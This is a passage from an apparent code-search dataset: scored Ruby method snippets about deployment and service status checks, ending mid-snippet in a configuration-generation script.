"text": "def release_status\n return unless DeployGroup.enabled?\n return unless current_version = version(@reference)\n return unless higher_references = last_deployed_references.select { |n| version(n)&.> current_version }.presence\n\n # code above is hot ... so keep it optimized and re-fetch here only if something bad was found\n interfering_stage_ids = deploy_scope.where(reference: higher_references).pluck(:stage_id)\n interfering_stages = Stage.where(id: interfering_stage_ids).pluck(:name)\n\n {\n state: \"error\", # `pending` is also supported in deploys.js, but that seems even worse\n statuses: [{\n state: \"Old Release\",\n description:\n \"#{higher_references.join(', ')} was deployed to deploy groups in this stage\" \\\n \" by #{interfering_stages.join(\", \")}\"\n }]\n }\n end",
"title": ""
},
{
"docid": "6c882b6bdfe24c3e27a8d06445d514a6",
"score": "0.5843418",
"text": "def summary_for_timeline\n if [\"cancelling\", \"cancelled\", \"errored\"].include?(status)\n \"#{short_reference} deploy to #{stage&.name} is #{status}\"\n else\n \"#{short_reference}#{' was' if job.succeeded?} #{summary_action} to #{stage&.name}\"\n end\n end",
"title": ""
},
{
"docid": "5b93712b21baf9095db2d43bfb6e8556",
"score": "0.58420765",
"text": "def status_text\n Subversion.status_text(@path)\n end",
"title": ""
},
{
"docid": "ee4674cb3c01be410a8daccc5404df4b",
"score": "0.58408475",
"text": "def status\n str = \n case progress\n when :waiting\n \"No current run, waiting for run request.\"\n when :failed\n \"Run failed.\"\n when :aborted\n \"Run aborted.\"\n when :stopped\n \"Run stopped.\"\n when :finished\n \"Finished run ##{batch_index} of batch.\"\n when 0...1\n \"Working on run ##{batch_index} of batch.\"\n end\n log.info \"Collecting status: #{str}\"\n str\n end",
"title": ""
},
{
"docid": "f97e13fdfea101a99ef0e65ba6deaf9a",
"score": "0.5835035",
"text": "def deploy_to(dc,goodmaster)\n deploy_Result=`ssh -q -o ConnectTimeout=10 puppet@#{goodmaster} \"cd #{RemoteDir} && git fetch --all && git reset --hard origin/master\" 2>/dev/null`\n deploy_Status = $?.exitstatus\n\n case deploy_Status\n when 0\n puts \"DEPLOY:\".blue + \" master\".black + \"(#{To})\".green + \" copied to #{goodmaster}\".blue\n when 1\n puts \"Something went very wrong, Please check #{goodmaster}!!\".red\n puts \"#{deploy_Result}\".red\n end\n end",
"title": ""
},
{
"docid": "bb46a71070ee547d287944a396ed6859",
"score": "0.5834963",
"text": "def status\n data.fetch('status')\n end",
"title": ""
},
{
"docid": "bb46a71070ee547d287944a396ed6859",
"score": "0.5834963",
"text": "def status\n data.fetch('status')\n end",
"title": ""
},
{
"docid": "a48aaf67af98ea3e2e50d79182e9f0e4",
"score": "0.5832533",
"text": "def status_label\n case\n when locked?\n 'Updating'\n when archive_exists?\n 'Archived'\n else\n '-'\n end\n end",
"title": ""
},
{
"docid": "bad94da718329a2b820f646cc4d530f3",
"score": "0.5823238",
"text": "def status\n result = Faraday.new(\"https://kccljmymlslr.statuspage.io/api/v2\") do |f|\n f.adapter Faraday.default_adapter\n end.get('status.json').body\n\n json = Yajl::Parser.parse result, symbolize_keys: true\n status = json[:status][:description]\n updated_at = DateTime.parse(json[:page][:updated_at]).strftime \"%F %T %:z\"\n\n \"#{status} [#{updated_at}]\"\n end",
"title": ""
},
{
"docid": "4c80634987fa2bcd38c5bb237df3cf63",
"score": "0.58216584",
"text": "def status\n show_config\n show_info\n end",
"title": ""
},
{
"docid": "101b536da745fedb5431186383bba57c",
"score": "0.58106154",
"text": "def getDeployTaskStatus(task_id)\n r_hold = [[\"jobs\", -1]]\n r_notask = [[\"jobs\", 0]]\n r_error = [[\"jobs\",-2]]\n\n thor_log_path = LOG_PATH + \"thor_\" + task_id + \".log\"\n if not FileTest::exists?(thor_log_path)\n return r_error\n end\n\n begin\n info = _get_deploy_info_from_log(thor_log_path)\n result_list = _get_task_deploy_status_from_info(info)\n rescue => e\n return r_error\n end\n return result_list\n end",
"title": ""
},
{
"docid": "b7fc712ac0e32e94f8a5941441c099f4",
"score": "0.5809479",
"text": "def status\n Subversion.status_text(full_path)\n end",
"title": ""
},
{
"docid": "a93106d253612f115200e048b9d3c21d",
"score": "0.58072656",
"text": "def status\n response = @client.get('server/status')\n verify response,\n internal_server_error: 'Server failed to retrieve status'\n end",
"title": ""
},
{
"docid": "bbdf212af1182df21b8a10977faaee47",
"score": "0.5803665",
"text": "def notify\n node, config, deploydata = describe(cloud_id: @cloud_id, update_cache: true)\n deploydata = {} if deploydata.nil?\n\n if cloud_desc.nil?\n raise MuError, \"Failed to load instance metadata for #{@config['mu_name']}/#{@cloud_id}\"\n end\n\n interfaces = []\n private_ips = []\n public_ips = []\n\n cloud_desc.network_interfaces.each { |iface|\n private_ips << iface.network_ip\n if iface.access_configs\n iface.access_configs.each { |acfg|\n public_ips << acfg.nat_ip if acfg.nat_ip\n }\n end\n interfaces << {\n \"network_interface_id\" => iface.name,\n \"subnet_id\" => iface.subnetwork,\n \"vpc_id\" => iface.network\n }\n }\n\n deploydata = {\n \"nodename\" => @mu_name,\n \"run_list\" => @config['run_list'],\n \"image_created\" => @config['image_created'],\n# \"iam_role\" => @config['iam_role'],\n \"cloud_desc_id\" => @cloud_id,\n \"project_id\" => @project_id,\n \"private_ip_address\" => private_ips.first,\n \"public_ip_address\" => public_ips.first,\n \"private_ip_list\" => private_ips,\n# \"key_name\" => cloud_desc.key_name,\n# \"subnet_id\" => cloud_desc.subnet_id,\n# \"cloud_desc_type\" => cloud_desc.instance_type #,\n #\t\t\t\t\"network_interfaces\" => interfaces,\n #\t\t\t\t\"config\" => server\n }\n\n if !@mu_windows_name.nil?\n deploydata[\"mu_windows_name\"] = @mu_windows_name\n end\n if !@config['chef_data'].nil?\n deploydata.merge!(@config['chef_data'])\n end\n deploydata[\"region\"] = @config['region'] if !@config['region'].nil?\n if !@named\n MU::MommaCat.nameKitten(self)\n @named = true\n end\n\n return deploydata\n end",
"title": ""
},
{
"docid": "ca5fa5ee23fadf93aaab130dcd122923",
"score": "0.579773",
"text": "def show_local_status\n string_key = nil\n\n if !env.root_path\n string_key = :status_no_environment\n elsif !env.vm\n string_key = :status_not_created\n else\n additional_key = nil\n if env.vm.vm.running?\n additional_key = :status_created_running\n elsif env.vm.vm.saved?\n additional_key = :status_created_saved\n elsif env.vm.vm.powered_off?\n additional_key = :status_created_powered_off\n end\n\n string_key = [:status_created, {\n :vm_state => env.vm.vm.state,\n :additional_message => additional_key ? Translator.t(additional_key) : \"\"\n }]\n end\n\n string_key = [string_key, {}] unless string_key.is_a?(Array)\n wrap_output { puts Translator.t(*string_key) }\n end",
"title": ""
},
{
"docid": "fc0407cba317a3936e3bf7ea116419b1",
"score": "0.57892525",
"text": "def status\n wait_for_online\n Puppet.debug \"Call: 'status' for Pacemaker service '#{name}' on node '#{hostname}'\"\n cib_reset\n out = get_primitive_puppet_status name, hostname\n Puppet.debug get_cluster_debug_report\n Puppet.debug \"Return: '#{out}' (#{out.class})\"\n out\n end",
"title": ""
},
{
"docid": "c6bf1f67897221f0aa9c4195e4dfe412",
"score": "0.57852024",
"text": "def server_status\n code, body, res = get('/v3/system/server_status')\n if code != \"200\"\n return \"Server is down (#{code})\"\n end\n js = checked_json(body, %w[status])\n status = js['status']\n return status\n end",
"title": ""
},
{
"docid": "85ef7c693e16916dd81260e101d0d104",
"score": "0.5784185",
"text": "def deploy_get\n service_response = TokenManagement::GetDeploymentDetail.new(params).perform\n return render_api_response(service_response)\n end",
"title": ""
},
{
"docid": "69f32b2aec78323c002893fcf9501ea4",
"score": "0.5783272",
"text": "def message(notification)\n if notification.success\n \"Deployed #{notification.application} with revision #{notification.repository.info.revision} — #{notification.repository.info.message.slice(0, 100)}\"\n else\n \"FAIL! Deploying #{notification.application} failed. Check deploy.log for details.\"\n end\n end",
"title": ""
},
{
"docid": "26b2bfa0710bd27c4b02b47250732b92",
"score": "0.5778674",
"text": "def server_info\n db(\"admin\").command('buildinfo')\n end",
"title": ""
},
{
"docid": "24615daf6869d1d852142edcdcd9f957",
"score": "0.5777332",
"text": "def info\n date = self.pushed_at.to_s(:short)\n \"[#{date}] #{self.support_identity.byline} (#{self.status})\"\n end",
"title": ""
},
{
"docid": "c4bf4c78deac16492ff654793bd12618",
"score": "0.57735527",
"text": "def display_status\n CloudCrowd.display_status(self.status)\n end",
"title": ""
},
{
"docid": "62cf00c44c124a98e65dcb6cc3d72f74",
"score": "0.5771454",
"text": "def liferay_status\n show_environment_info\n log_block('get server status') do\n service = $rays_config.environment.liferay.service\n\n if service.alive?\n $log.info(\"running on #{service.host}:#{service.port}\")\n else\n $log.info(\"stopped\")\n end\n end\n end",
"title": ""
},
{
"docid": "597178032023ee72984f60c199d6a6db",
"score": "0.57690275",
"text": "def get_status(data)\r\n halt 501, \"Not yet implemented, how pitiful.\"\r\n puts \"Git commit status: Not yet implemented, how pitiful.\"\r\nend",
"title": ""
},
{
"docid": "9ec923025952ef9a6ceae352c3b82e05",
"score": "0.5751151",
"text": "def version\n version = \"\"\n if (@vcsdeploys.has_key?(@resource[:path]))\n version = @vcsdeploys[@resource[:path]][:version]\n end\n version\n end",
"title": ""
},
{
"docid": "1efdb7710515390836ba396f0f0eff9b",
"score": "0.5751059",
"text": "def status_message\n ret = ''\n\n if task.progress\n ret << \"#{(task.progress * 100).to_i}%\"\n ret << ': ' if task.progress_message.present?\n end\n ret << task.progress_message if task.progress_message.present?\n\n ret\n end",
"title": ""
},
{
"docid": "586d3831e45d4e43003668f6d85451aa",
"score": "0.57446605",
"text": "def health_status\n data[:health_status]\n end",
"title": ""
},
{
"docid": "904555082fc0bfdaaf5cfd588aff3193",
"score": "0.5743398",
"text": "def repository_status\n http = HTTPClient.new\n begin\n response = http.get(Kumquat::Application.kumquat_config[:fedora_url])\n if response.status == 200\n render text: 'online'\n else\n render text: 'offline', status: 503\n end\n rescue\n render text: 'offline', status: 503\n end\n end",
"title": ""
},
{
"docid": "0ba5ed21ae1e763e19291a466e626a0f",
"score": "0.573472",
"text": "def github_status\n get(STATUS_ROOT).rels[:status].get.data\n end",
"title": ""
},
{
"docid": "3a7a699fdce29e430ed051bbfc2ada0f",
"score": "0.5732723",
"text": "def status(params)\n host = get_param(params, :host)\n if params.has_key?(:service)\n service = params[:service]\n request = Net::HTTP::Get.new(\"/hosts/#{host}/#{service}/attributes?format=json\")\n response = @nagix.request(request)\n notify(:msg => \"[#{@name}] Retrieved Nagios status for service #{service} on host #{host}\",\n :tags => [:nagios, :trace])\n else\n request = Net::HTTP::Get.new(\"/hosts/#{host}/attributes?format=json\")\n response = @nagix.request(request)\n notify(:msg => \"[#{@name}] Retrieved Nagios status for host #{host}\",\n :tags => [:nagios, :trace])\n end\n if response.code.to_i < 300\n statuses = JSON.parse(response.body)\n if statuses.length > 0\n return statuses[0]\n else\n nil\n end\n else\n raise \"Got response #{response.code} from Nagix server\"\n end\n end",
"title": ""
},
{
"docid": "9b03dfca8edded3d18d9ba63c218e9e4",
"score": "0.573042",
"text": "def check_deployed\n @project = Project.find(params[:id])\n deployment_hash = @project.check_all_deployed\n respond_to do |format|\n format.json { render :json => deployment_hash}\n end\n end",
"title": ""
},
{
"docid": "9bbc07b6d92a5f35b2c23a70c7e62b42",
"score": "0.5727433",
"text": "def get_status\n send_request(FUNCTION_GET_STATUS, [], '', 3, 'C C C')\n end",
"title": ""
},
{
"docid": "8c1a7bc3ca075d7d7a3df0a93d8f7836",
"score": "0.572721",
"text": "def default_buddy_request_message\n project = @deploy.project\n \":ship: <!here> _#{@deploy.user.name}_ is requesting approval to deploy \" \\\n \"<#{Rails.application.routes.url_helpers.project_deploy_url(project, @deploy)}|\" \\\n \"*#{@deploy.reference}* to #{@deploy.stage.unique_name}>.\"\n end",
"title": ""
},
{
"docid": "524674641b233150738d7fbb29af3375",
"score": "0.57260907",
"text": "def deploy(options={})\n self.mclient = get_metadata_client \n soapbody = \"<zipFile>#{options[:zip_file]}</zipFile>\"\n soapbody << \"<DeployOptions>#{options[:deploy_options]}</DeployOptions>\" unless options[:deploy_options].nil?\n begin\n response = self.mclient.request :deploy do |soap|\n soap.header = get_soap_header\n soap.body = soapbody\n end\n rescue Savon::SOAP::Fault => fault\n raise Exception.new(fault.to_s)\n end\n \n #puts \"<br/><br/> deploy response: \" + response.to_hash.inspect\n create_hash = response.to_hash\n\n update_id = create_hash[:deploy_response][:result][:id]\n is_finished = false\n\n while ! is_finished\n sleep 1\n response = self.mclient.request :check_status do |soap|\n soap.header = get_soap_header\n soap.body = { :id => update_id }\n end\n check_status_hash = response.to_hash\n #puts \"<br/><br/>status is: \" + check_status_hash.inspect + \"<br/><br/>\"\n is_finished = check_status_hash[:check_status_response][:result][:done] \n end\n \n response = self.mclient.request :check_deploy_status do |soap|\n soap.header = get_soap_header\n soap.body = { :id => update_id }\n end\n \n status_hash = response.to_hash\n puts \"<br/><br/>deploy result is: \" + status_hash.inspect + \"<br/><br/>\"\n \n if options[:deploy_options] and options[:deploy_options].include? \"runTests\"\n return status_hash\n end\n \n if status_hash[:check_deploy_status_response][:result][:messages].kind_of? Array\n status_hash[:check_deploy_status_response][:result][:messages].each { |message| \n if ! message[:success]\n return { \n :is_success => message[:success],\n :line_number => message[:line_number],\n :column_number => message[:column_number],\n :error_message => message[:problem],\n :file_name => message[:file_name]\n }\n end \n }\n return { \n :is_success => status_hash[:check_deploy_status_response][:result][:messages][0][:success],\n :line_number => status_hash[:check_deploy_status_response][:result][:messages][0][:line_number],\n :column_number => status_hash[:check_deploy_status_response][:result][:messages][0][:column_number],\n :error_message => status_hash[:check_deploy_status_response][:result][:messages][0][:problem],\n :file_name => status_hash[:check_deploy_status_response][:result][:messages][0][:file_name]\n }\n else\n if ! status_hash[:check_deploy_status_response][:result][:messages][:success] \n return { \n :is_success => status_hash[:check_deploy_status_response][:result][:messages][:success],\n :line_number => status_hash[:check_deploy_status_response][:result][:messages][:line_number],\n :column_number => status_hash[:check_deploy_status_response][:result][:messages][:column_number],\n :error_message => status_hash[:check_deploy_status_response][:result][:messages][:problem],\n :file_name => status_hash[:check_deploy_status_response][:result][:messages][:file_name]\n }\n else \n return { \n :is_success => true,\n :done => true \n } \n end\n end\n end",
"title": ""
},
{
"docid": "dbd61e72687bc877971037df0f4cc38f",
"score": "0.5722417",
"text": "def set_deploy_status(cap_out, status)\n if status.success? && !cap_out.include?('deploy:rollback')\n ':thumbsup: : Successfully deployed.'\n else\n ':x: : Failed to deploy.'\n end\n end",
"title": ""
},
{
"docid": "f356e911372dd13e42ff2c439a68138d",
"score": "0.57221913",
"text": "def status\n the_last_run = lastrun\n status = {:applying => applying?,\n :enabled => enabled?,\n :daemon_present => daemon_present?,\n :lastrun => the_last_run,\n :idling => idling?,\n :disable_message => lock_message,\n :since_lastrun => (Time.now.to_i - the_last_run)}\n\n if !status[:enabled]\n status[:status] = \"disabled\"\n elsif status[:applying]\n status[:status] = \"applying a catalog\"\n elsif status[:idling]\n status[:status] = \"idling\"\n elsif !status[:applying]\n status[:status] = \"stopped\"\n end\n\n status[:message] = \"Currently %s; last completed run %s ago\" \\\n % [status[:status], seconds_to_human(status[:since_lastrun])]\n status\n end",
"title": ""
},
{
"docid": "1bba208241915daeb0fd88e7b6a0627f",
"score": "0.5721834",
"text": "def software_update_status_summary\n return @software_update_status_summary\n end",
"title": ""
},
{
"docid": "cf78b5150773d1530af1c65d65bc8630",
"score": "0.5718936",
"text": "def deploy()\n\n if File.exists? @lock_file\n say \"Deployment in process, please check tasks.\"\n return\n end\n\n command = deployment_command\n current_file = File.join(@deployment_dir, \"#{@deployment_name}.yml\")\n\n products = Uhuru::BoshCommander::Versioning::Product.get_products\n\n deployment_manifest = YAML.load_file(current_file)\n\n\n software_name = @product_name\n software_version = nil\n if (deployment_manifest['release'])\n software_version = deployment_manifest['release']['version']\n else\n software_version = deployment_manifest['releases'][0]['version']\n end\n\n software_state = Uhuru::BoshCommander::Versioning::STATE_REMOTE_ONLY\n stemcells = []\n deployment_manifest['resource_pools'].each do |resource_pool|\n stemcells << resource_pool['stemcell']\n end\n\n software = nil\n\n\n say \"Checking if '#{software_name} #{software_version}' is present ...\"\n products.each do |prod|\n product = prod[1]\n #check release\n if (product.type == 'software' && product.name == software_name)\n product.versions.each do |version|\n if (version[0].to_s == software_version.to_s)\n software = version[1]\n end\n end\n end\n end\n\n if software\n software_state = software.get_state\n end\n\n\n if (software_state == Uhuru::BoshCommander::Versioning::STATE_REMOTE_ONLY)\n raise \"The software '#{software_name} #{software_version}' you are trying to deploy does not exist locally, please download it first.\"\n end\n\n stemcells_state = []\n say 'Checking if OS images exist ...'\n stemcells.each do |stemcell|\n stemcell_state = Uhuru::BoshCommander::Versioning::STATE_REMOTE_ONLY\n stemcell_version = nil\n products.each do |prod|\n product = prod[1]\n if (product.type == 'stemcell' && product.name == stemcell['name'])\n product.versions.each do |version|\n if (version[0] == stemcell['version'])\n stemcell_version = version[1]\n end\n end\n end\n end\n\n if (stemcell_version != nil)\n stemcell_state = stemcell_version.get_state\n end\n\n stemcells_state << { \"name\" => stemcell['name'], \"version\" => stemcell['version'] ,\"state\" => stemcell_state, \"version\" => stemcell_version}\n end\n\n message = ''\n stemcells_state.each do |stemcell|\n if (stemcell[\"state\"] == Uhuru::BoshCommander::Versioning::STATE_REMOTE_ONLY || stemcell[\"state\"] == nil)\n message = message + \"The OS image '#{stemcell} #{software_version}' you are trying to deploy does not exist locally, please download it first.\\n\"\n end\n end\n\n if (message != '')\n raise message\n end\n\n dependency_had_errors = false\n\n begin\n say 'Deploying missing components ...'\n File.open(@lock_file, 'w') {|file| file.write(@log_url) }\n\n if (software_state == Uhuru::BoshCommander::Versioning::STATE_LOCAL)\n release_files = Dir[\"#{software.bits_full_local_path}/*release.tgz\"]\n release_files.each do |release_file|\n release = Uhuru::BoshCommander::Release.new\n say \"Uploading releases #{release_file}\"\n release.upload(release_file)\n end\n end\n\n uploaded_stemcells = []\n stemcells_state.each do |stemcell|\n if (stemcell[\"state\"]== Uhuru::BoshCommander::Versioning::STATE_LOCAL)\n if (!uploaded_stemcells.include?(stemcell[\"name\"]))\n stemcell_obj = Stemcell.new\n stemcell_obj.upload(stemcell[\"version\"].bits_full_local_path)\n uploaded_stemcells << stemcell[\"name\"]\n end\n end\n end\n\n say \"Dependency setup complete.\".green\n rescue => ex\n $logger.error(\"There was an error while trying to prepare dependencies for '#{software_name} #{software_version}': #{ex.to_s}\")\n dependency_had_errors = true\n\n FileUtils.mv @lock_file, @error_file\n end\n\n unless dependency_had_errors\n begin\n command.set_current(current_file)\n command.perform\n\n FileUtils.rm_f(@lock_file)\n FileUtils.rm_f(@error_file)\n\n say \"Deployment finished.\".green\n rescue => ex\n $logger.error(\"There was an error while trying to deploy '#{software_name} #{software_version}': #{ex.to_s}\")\n FileUtils.mv @lock_file, @error_file\n end\n end\n end",
"title": ""
},
{
"docid": "47cf23f65e9b89580227a8ddfe1a0585",
"score": "0.57188267",
"text": "def payload_for_starting\n {\n text: \"*#{deployer}* has started deploying branch *#{fetch(:branch)}* to *#{stage}*\"\n }\n end",
"title": ""
},
{
"docid": "8ff8235ba9cbf3707af03080ed0b7bdc",
"score": "0.57177675",
"text": "def server_version\n status['value']['build']['version']\n end",
"title": ""
},
{
"docid": "7e7072366be4cda0d661fd5c0545e285",
"score": "0.57087",
"text": "def repo_status\n erb :status, :locals => {\n :branch => git.branch,\n :status => git.status(true)\n }\n end",
"title": ""
},
{
"docid": "23686f6b43ec8e84837d3fc3d07ea3f3",
"score": "0.5704223",
"text": "def get_status(task_name)\n command = Command::GetStatus.new(task_name)\n Client.run(command)\n end",
"title": ""
},
{
"docid": "9c463ad08a7806fe7be60d3fa520b587",
"score": "0.5699585",
"text": "def status_description()\n s = ''\n approvals.each do |a|\n s<< \"#{a.ip.short_fqdn}: #{a.display_status}<br/>\"\n end\n s.html_safe\n end",
"title": ""
},
{
"docid": "a10acbaf6d33dea59a69394d08b384f5",
"score": "0.56986874",
"text": "def composer_status_as_public_site_string\n result = \"\"\n if composer_status == Contributor.composer_statuses[:tier_2]\n result = \"Fully Represented SOUNZ Composer\"\n end\n result\n end",
"title": ""
},
{
"docid": "7e82816ea82f843321eb303130dbc73c",
"score": "0.569655",
"text": "def status_msg\n raw_presence[:status_msg]\n end",
"title": ""
}
] |
34158b12b4ca92ad0df49ce3e0c37f71
|
Creates a data center load agent with all required packages preinstalled and starts requisite number of instances
|
[
{
"docid": "43419bce67ef145130837d40bc2566e5",
"score": "0.0",
"text": "def setup(force = false)\n logger.debug { \"#{self.class}##{__method__}\" }\n\n self.save! if save_on_setup?\n return unless self.active? || force\n logger.info(\"Provisioning #{self.machines.size} #{self.class} machines...\")\n provision_agents.each do |activated_agent|\n logger.debug { \"#{self.class} agent##{activated_agent.private_ip_address} validating java installation...\" }\n unless java_ok?(activated_agent)\n activated_agent.update_attribute(:active, false)\n raise Hailstorm::DataCenterJavaFailure, Defaults::JAVA_VERSION\n end\n\n logger.debug { \"#{self.class} agent##{activated_agent.private_ip_address} validating jmeter installation...\" }\n unless jmeter_ok?(activated_agent)\n activated_agent.update_attribute(:active, false)\n raise Hailstorm::DataCenterJMeterFailure, self.project.jmeter_version\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "dea2d6a57b13cb9de303fb576338aa59",
"score": "0.6340574",
"text": "def startup_sequence\n launch_set(fe_servers)\n wait_for_set(fe_servers, \"operational\")\n \n set_lb_hostname\n \n launch_set(app_servers)\n wait_for_set(app_servers, \"operational\")\n end",
"title": ""
},
{
"docid": "efbbb696e96d312da351c71b58b58eff",
"score": "0.6146739",
"text": "def start\n return unless agent_should_start?\n\n log_startup\n check_config_and_start_agent\n log_version_and_pid\n end",
"title": ""
},
{
"docid": "7fcae5ed8c25c607752d1f8163464bab",
"score": "0.61318684",
"text": "def start_load_instances(num_instances)\n load_instances = get_instances().select{ |i| i[:auto_scaling_type].eql? 'load' }\n\n if num_instances > load_instances.length\n raise \"Can't start #{num_instances} instances because the layer only has #{load_instances.length} load-based instances configured.\"\n end\n\n num_to_start = num_instances - load_instances.select{ |i| launched? i }.length\n\n ids = []\n load_instances.select{ |i| not launched? i }.take(num_to_start).each do |i|\n puts \"starting #{i[:hostname]} #{i[:auto_scaling_type]}\" if @verbose\n @client.start_instance({:instance_id => i[:instance_id]})\n ids.push(i[:instance_id])\n end\n ids\n end",
"title": ""
},
{
"docid": "d9506486acce232fe1019784a884eb57",
"score": "0.6031981",
"text": "def launch_nodes(options={})\n DC::AWS.new.launch_instances(options) do |instances|\n execute_on_hosts(script_contents(\"startup\"), instances.map(&:dns_name))\n end\n end",
"title": ""
},
{
"docid": "143d2390c05828ed28bbc2c94401f01e",
"score": "0.6023123",
"text": "def start\n init!\n\n if @file_loader.completed?\n PrettyLog.error('100%...seeding is still not implemented -- exit')\n return\n end\n\n request_peers\n @scheduler = Scheduler.new(@peers, @meta_info)\n launch_processes\n end",
"title": ""
},
{
"docid": "2b38c28f9a9c16041d16e1afce2ee5fa",
"score": "0.598436",
"text": "def start\n @downloader = Downloader.download(version: version, path: working_dir)\n start_cluster\n apply_development_template! if persistent\n end",
"title": ""
},
{
"docid": "cfdad3d45f03e18fe065952977185309",
"score": "0.59799886",
"text": "def initialize(agent)\n @scheduled_bundles = Queue.new\n @agent_identity = agent.identity\n @running = false\n # Wait until instance setup actor has initialized the instance state\n # We need to wait until after the InstanceSetup actor has run its\n # bundle in the Chef thread before we can use it\n EM.next_tick do\n if RightScale::InstanceState.value != 'booting'\n @running = true\n EM.defer { run_bundles }\n else\n RightScale::InstanceState.observe { |s| EM.defer { run_bundles } if s != 'booting' && !@running; @running = true }\n end\n end\n end",
"title": ""
},
{
"docid": "1b08af090a5c7c52030d6d99eda08813",
"score": "0.5972572",
"text": "def setup_and_start_agent(options={})\n @started = true\n @dispatcher.mark_started\n generate_environment_report\n install_exit_handler\n @middleware.load_samplers # cpu and memory load\n\n if TingYun::Agent.config[:sync_startup]\n connect_in_sync\n else\n start_worker_thread(options)\n end\n end",
"title": ""
},
{
"docid": "753c31040bafe7950ec9ccccdf2038b4",
"score": "0.5898613",
"text": "def setup_and_start_agent(options={})\n @started = true\n @harvester.mark_started\n\n unless in_resque_child_process?\n generate_environment_report\n install_exit_handler\n @harvest_samplers.load_samplers unless Agent.config[:disable_samplers]\n end\n\n connect_in_foreground if Agent.config[:sync_startup]\n start_worker_thread(options)\n end",
"title": ""
},
{
"docid": "0acbdcfee102b466af9b6d71fe2d6eb9",
"score": "0.58842844",
"text": "def before_start\n Core::Syslog.open(\n ENV['APP_NAME'],\n ::Syslog::LOG_CONS | ::Syslog::LOG_PID\n )\n\n Core::Syslog.info(\n 'Starting daemon',\n :queue => option(:queue_name),\n :threads => threads\n )\n\n GC::Profiler.enable\n\n Daemons.configure_rollbar\n\n NewRelic::Agent.manual_start if Daemons.newrelic?\n\n Aws.eager_autoload!(:services => %w{S3 SQS})\n end",
"title": ""
},
{
"docid": "e5c5e96e952544ebf38ce779ea1bfd8c",
"score": "0.5846043",
"text": "def start\n setup_installer\n setup_approx\n setup_tftp\n setup_nfs\n setup_dhcp\n end",
"title": ""
},
{
"docid": "5e77c43f5f69d0535bd9305bdfdec43c",
"score": "0.58109516",
"text": "def initialize(agent_identity)\n @boot_retries = 0\n @agent_identity = agent_identity\n RightScale::InstanceState.init(agent_identity)\n RightScale::RightLinkLog.force_debug if RightScale::DevState.enabled?\n EM.threadpool_size = 1\n # Schedule boot sequence, don't run it now so agent is registered first\n EM.next_tick { init_boot } if RightScale::InstanceState.value == 'booting'\n end",
"title": ""
},
{
"docid": "6711ca2ff00bce6a7be9cec527d58866",
"score": "0.57947004",
"text": "def start_compute_instances\n @farm = Farm.find(:first, :conditions => {:name => \"Compute Node\"})\n num_requested = (params[:num_requested].nil? || params[:num_requested].empty?) ? 1 : params[:num_requested].to_i\n user_data = params[:user_data] ||= ''\n @farm.send_later( :start, num_requested, nil, user_data)\n logger.info(\"Requested #{num_requested} compute instances\")\n \n respond_to do |format|\n format.html { head :created }\n format.xml { head :created }\n format.json { head :created }\n end\n end",
"title": ""
},
{
"docid": "14f3c6e52cdbdc9ae7457e8ed470db21",
"score": "0.5775658",
"text": "def start\n connect!\n super\n ensure_rds_security_groups if !@rds_nodes.empty?\n ensure_rds_db_parameter_groups if !@rds_nodes.empty?\n ensure_ec2_security_groups if !@ec2_nodes.empty?\n ensure_rds_db_security_groups if !@rds_nodes.empty?\n ensure_nodes_running\n ensure_elastic_ips if !@ec2_nodes.empty?\n ensure_ebs_volumes if !@ec2_nodes.empty?\n end",
"title": ""
},
{
"docid": "00497eb2b4ce4a6528f124e78403460d",
"score": "0.57341623",
"text": "def run \n dirs = ['ha.d','node','downpage','lvs','uuid','xen','dns','space','asa','scs','nagios', \n 'haview.docroot','ssh', 'postgres', 'cdn']\n\n puts \"Loading #{ENV['RAILS_ENV']} environment (Rails #{Rails.version})\"\n\n t = Time.now() \n lockfile_start()\n reset_git_repo()\n\n rmtree(dirs)\n create_dir(dirs)\n create_node_structure('node')\n\n # Query Caching Turned on for whole run\n ActiveRecord::Base.cache do\n \n # load balancer config\n ruby(\"gen_heartbeat\")\n #puts \"NOTICE:#{' '*29}ignore lines with 'We do not have quorum'\" \n #puts `ptest -VVV -X ha.d/heartbeat_constraints_cfg.xml`\n #puts `ptest -VVV -X ha.d/heartbeat_resources_cfg.xml`\n \n # TODO: add 'pacemaker' file checking\n puts \"Checking pacemaker configs....\"\n puts `#{Pathname.new($0).dirname}/validate-pacemaker-config -r ha.d/pacemaker_resources_cfg.xml -c ha.d/pacemaker_constraints_cfg.xml`\n\n ruby(\"gen_stonith_cfg\")\n ruby(\"gen_lbstatus_config\")\n\n ruby(\"gen_ldirectord_cfg\")\n ldirectord_check = Pathname.new($0).dirname.join('ldirectord_check').realpath\n check_ldirectord(\"lvs/ldirectord*\",ldirectord_check)\n ruby(\"gen_lb_downpage_config\")\n\n # Surealived config\n CNU::Enki::Surealived.generate('surealived', 'lvs')\n \n # CDN nginx configs\n CNU::Enki::Cdn.generate('cdn', 'cdn')\n \n # lb.services to all load?.* nodes\n ruby(\"gen_lvs_cfg\")\n move_match('lb.services','load?.*')\n\n # dns config\n ruby(\"gen_private_dns\")\n \n # space config\n ruby(\"gen_space_yml\")\n \n # uuid for bootstrap \n ruby(\"gen_uuid\")\n \n # domU configs for xen\n ruby(\"gen_domU_cfg\")\n\n # serial console\n CNU::Enki::Scs.generate('scs')\n\n # nagios\n CNU::Enki::Nagios.generate('nagios')\n \n # Firewall\n CNU::Enki::AsaRules.generate('fw.acls','asa')\n\n # San DNS\n CNU::Enki::SanDns.generate('san_dns','dns')\n\n # Mgmt DNS\n CNU::Enki::MgmtDns.generate('mgmt_dns','dns')\n\n # SSH Known host list candidates\n CNU::Enki::SshKnownHosts.generate('ssh')\n\n # LB Page \n CNU::Enki::LbPage.generate('haview.docroot')\n\n # Postgres Cluster configs\n CNU::Enki::DatabaseConfigs.generate('postgres')\n\n # per node configs\n FileUtils.chdir('node')\n ruby(\"gen_interface_cfg\")\n ruby(\"gen_net_cfg\")\n ruby(\"gen_udev_net_rules\")\n ruby(\"gen_service_checks\")\n\n CNU::Enki::ServiceChecks.generate('service.checks.v2')\n #PDU Labels\n CNU::Enki::PduLabels.generate('pdu.cfg')\n CNU::Enki::HpSwitchLabels.generate('switch.cfg')\n CNU::Enki::Iscsi.generate()\n FileUtils.chdir('..')\n\n end # end caching\n \n generate_md5sums('config_layout.md5', dirs)\n %x{find . -type d -print0 |xargs -0 chmod 755}\n %x{find . -type f -print0 |xargs -0 chmod 644}\n\n rc = 0 \n if ARGV.member?('-commit') then\n puts commit_files(dirs, :files => ['.dirs','config_layout.md5'], :dry_run => ARGV.member?('-test') ) \n else \n write_commit_message()\n puts \"*\" * 72\n puts \"\\nRemember to re-run with -commit flag to save configs for 